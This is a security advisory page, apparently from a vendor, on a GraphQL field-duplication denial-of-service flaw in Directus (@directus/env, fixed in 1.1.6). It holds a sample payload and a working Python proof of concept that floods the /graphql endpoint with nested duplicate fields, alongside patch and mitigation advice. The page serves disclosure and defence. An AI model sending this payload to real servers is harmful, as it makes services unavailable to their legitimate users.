GHSA-7hmh-pfrp-vcx4 is a medium-severity (CVSS 6.5) Uncontrolled Resource Consumption vulnerability in @directus/env. 1 public exploit reference exists, so weaponization risk is real. A fix is available for @directus/env — see the affected versions and patch details below.
Directus GraphQL Field Duplication Denial of Service (DoS)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-7hmh-pfrp-vcx4.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-7hmh-pfrp-vcx4 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,238 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@directus/envnpmDescription
Summary
A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.
Details
Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:
By modifying the data sent and duplicating many times the fields a DoS attack is possible.
PoC
The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it.
{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}
Although that payload seems harmless, a bigger one leaves the service unresponsive.
The following code might serve as a PoC written in Python3:
# GitHub @asantof
import requests
## CHANGE THIS VALUES: url, auth_token, query_name, collection_name
url = 'http://0.0.0.0:8055/graphql'
auth_token = ''
query_name = 'query_XXXXX'
collection_name = ''
headers = {
'Content-Type': 'application/json',
'Authorization': f'Bearer {auth_token}',
}
id_payload = 'id ' * 200
max_payload = 'max {' + id_payload + ' } '
full_payload = max_payload * 200
data = {
'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }'
}
print(data)
response = requests.post(url, headers=headers, json=data)
print(response.json())
After running it the service will be unresponsive for a while:
Impact
The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @directus/env | all versions | 1.1.6npm install @directus/env@1.1.6 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @directus/env, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @directus/env to 1.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7hmh-pfrp-vcx4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-7hmh-pfrp-vcx4 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-7hmh-pfrp-vcx4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7hmh-pfrp-vcx4 in your dependencies?
O3 Security finds GHSA-7hmh-pfrp-vcx4 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.